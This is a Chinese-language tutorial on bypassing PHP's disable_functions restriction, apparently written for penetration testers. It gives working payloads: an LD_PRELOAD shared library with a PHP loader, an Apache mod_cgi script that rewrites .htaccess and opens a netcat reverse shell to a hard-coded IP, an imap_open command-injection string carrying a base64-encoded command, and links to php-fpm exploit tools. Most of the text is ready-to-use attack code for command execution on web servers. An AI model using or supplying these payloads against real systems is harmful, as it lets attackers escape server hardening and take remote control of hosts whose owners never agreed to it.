PHP绕过disable_function 总结与实践

LD_PRELOAD 劫持系统函数

LD_PRELOAD 是linux系统的一个环境变量,它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。

这样我们找一个php函数,其实现方式包含调用系统共享对象中的函数,此时我们写一个动态链接库覆盖该php函数调用的系统命令的某个函数,putenv设置优先加载我们的动态链接库。我们就可以覆盖该系统函数从而执行命令。

php中的mail、error_log函数是通过调用系统中的sendmail命令实现的(其他类似php中的函数还有imap_mail、mb_send_mail参考),sendmail二进制文件中使用了getuid库函数,这样我们可以覆盖getuid函数。

写一个getuid函数,内容为用system函数运行环境变量中的某个参数。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


int  getuid() {
const char* cmdline = getenv("EVIL_CMDLINE");
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
system(cmdline);
}

gcc -shared -fPIC geteuid.c -o getuid.so 编译成动态链接库。

再写一个php文件,用putenv添加环境变量(一个是上传的so库地址、一个是要执行的命令)。将system命令输出内容写入指定文件,到时候读出就行。

<?php
    $cmd = $_REQUEST["cmd"];
    $out_path = $_REQUEST["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
    putenv("EVIL_CMDLINE=" . $evil_cmdline);
    $so_path = $_REQUEST["sopath"];
    putenv("LD_PRELOAD=" . $so_path);
    mail("", "", "", "");
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";  
?>

现在,我们将编译成的动态链接库和php文件上传到靶机,include该php文件

此时等待sendmail解析host错误返回需要一定时间,可以直接读取上面输入的outpath执行命令返回内容

无需劫持函数,加载动态链接库即能执行

如果系统没有安装sendmail或者禁用了,上面的办法就无法再使用了。不过有大师傅发现不劫持特定函数也能执行命令。参考

GCC 有个 C 语言扩展修饰符 attribute((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 attribute((constructor)) 修饰的函数。

那么此时,我们将动态库payload改为如下:

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void getuid() {
const char* cmdline = getenv("EVIL_CMDLINE");
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
system(cmdline);
}

编译并上传。此时同样的php文件,使用这个动态库,即使靶机没有sendmail,也会执行命令。并且因为不用等待sendmail返回,现在可以实时显示命令执行返回内容。

这意味着,我们只需要找到该php环境中存在执行系统命令的函数、且putenv函数未被禁用的情况下,就可以绕过disable_function。

攻击php-fpm 绕过

对于FastCGI原理很多文章探讨过了,这里仅做攻击层面上的分析。

php-fpm是实现FastCGI协议的一个介于webserver(如nginx)和php解释器的一个程序,事实上php-fpm内嵌有php解释器。webserver将用户请求按照fastcgi协议打包发给php-fpm,经php解释器解析后将标准内容再返回给webserver。

php-fpm与nginx有TCP和UNIX socket两种通信方式。TCP方式php-fpm会监听本地9000端口等待webserver连接通信,UNIX socket以文件(一般是.sock)作为socket的唯一标识(描述符),需要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信。

在nginx的配置文件中需要配置使用哪种通信方式以及相关参数

location ~ \.php$ {
    include fastcgi_params;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;;
    fastcgi_pass 127.0.0.1:9000;
    fastcgi_index index.php;
}
location ~ \.php$ {
    include fastcgi_params;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;;
    fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;
    fastcgi_index index.php;
}

如果是TCP协议方式,还可以通过ssrf方式攻击,9000端口对外开放的话也可以直接攻击php-fpm,unix socket模式仅能在本机实现攻击。而windows服务器仅支持TCP模式。

如果我们可以模拟webserver与php-fpm通信,向php-fpm传递部分php.ini参数(可以修改open_basedir但不能修改disable_function)。而且我们可以修改extension_dir的值并且添加一个扩展,在这个扩展中实现一个system函数就可以了。

实践

现在我们需要两步,1. 一个能模拟与php-fpm通信的php文件、一个符合当前php版本的写了命令执行函数的php扩展。2. 将两个文件上传执行。

这两个都已经有师傅写好了php文件可以用这个https://github.com/wofeiwo/webcgi-exploits/blob/master/php/Fastcgi/fcgi_jailbreak.php

扩展https://github.com/AntSwordProject/ant_php_extension,用相应版本php编译即可。这个项目中编译的扩展实现了一个功能与system相同名字为antsystem的2函数。

apache mod_cgi模式

Liunx 下php有三种运行模式。apache handler、CGI、和上面提到的FastCGI。而这种攻击要求的就是具体在apache服务器的情况下,CGI模式才可以。

在phpinfo中看到如下,就可以确定是以cgi模式运行的了

CGI模式下,没接受一个用户请求,apache都会fork一个进程运行CGI程序解析php脚本,在.htaccess中我们设置允许在web目录运行CGI程序,然后上传一个shell命令文件上去,执行就可以反弹一个shell了。

这就要求1. apache且运行mod_cgi模式,2. web目录可写,3. 允许.htaccess生效

在.htaccess 中添加以下内容,指定.dazzle为结尾的文件为CGI脚本程序并且允许本目录执行,我们只要同时上传一个.dazzle的shell就可以了。

Options +ExecCGI
AddHandler cgi-script .dizzle

以上所有的工作多已经有师傅写好了payload,可以直接使用。

<?php
$cmd = "nc -c '/bin/bash' 172.16.15.1 4444"; //command to be executed
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
    echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked']))
{
    @file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
    header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
    $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
    $writable = is_writable('.'); //current dir writable?
    $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
        checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
        checkEnabled("Is writable",$writable,"Yes","No");
        checkEnabled("htaccess working",$htaccess,"Yes","No");
    if(!($modcgi && $writable && $htaccess))
    {
        echo "Error. All of the above must be true for the script to work!"; //abort if not
    }
    else
    {
        checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
        checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
        checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
        checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
        echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
    }
}
?>

将以上代码上传访问

上述代码会自己检查是否符合条件,符合条件直接执行shell命令反弹shell。

imap_open

imap_open函数在去年爆出的任意命令执行漏洞也可以用来利用绕过disable_function.

但是这要求靶机安装并开启了imap扩展。

payload也很简单,上传后访问就能执行其中的代码。

<?php
# CRLF (c)
# echo '1234567890'>/tmp/test0001
$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());

利用第三方组件漏洞

这是基于靶机安装的后端组件中本来就存在已知漏洞,通过漏洞直接注入shell命令,从而绕过php的限制。比如ImageMagick漏洞、Bash的破壳漏洞、GhostScript沙箱绕过(命令执行)漏洞等等。

网上对于这些单独漏洞讲解和payload很多,这里不再赘述了。

Reference

https://wooyun.js.org/drops/%E5%88%A9%E7%94%A8%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8FLD_PRELOAD%E6%9D%A5%E7%BB%95%E8%BF%87php%20disable_function%E6%89%A7%E8%A1%8C%E7%B3%BB%E7%BB%9F%E5%91%BD%E4%BB%A4.html

https://www.freebuf.com/articles/web/192052.html

https://www.cnblogs.com/sijidou/p/10816385.html

https://github.com/l3m0n/Bypass_Disable_functions_Shell

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

http://0cx.cc/bypass_disabled_via_mod_cgi.jspx

https://github.com/Bo0oM/PHP_imap_open_exploit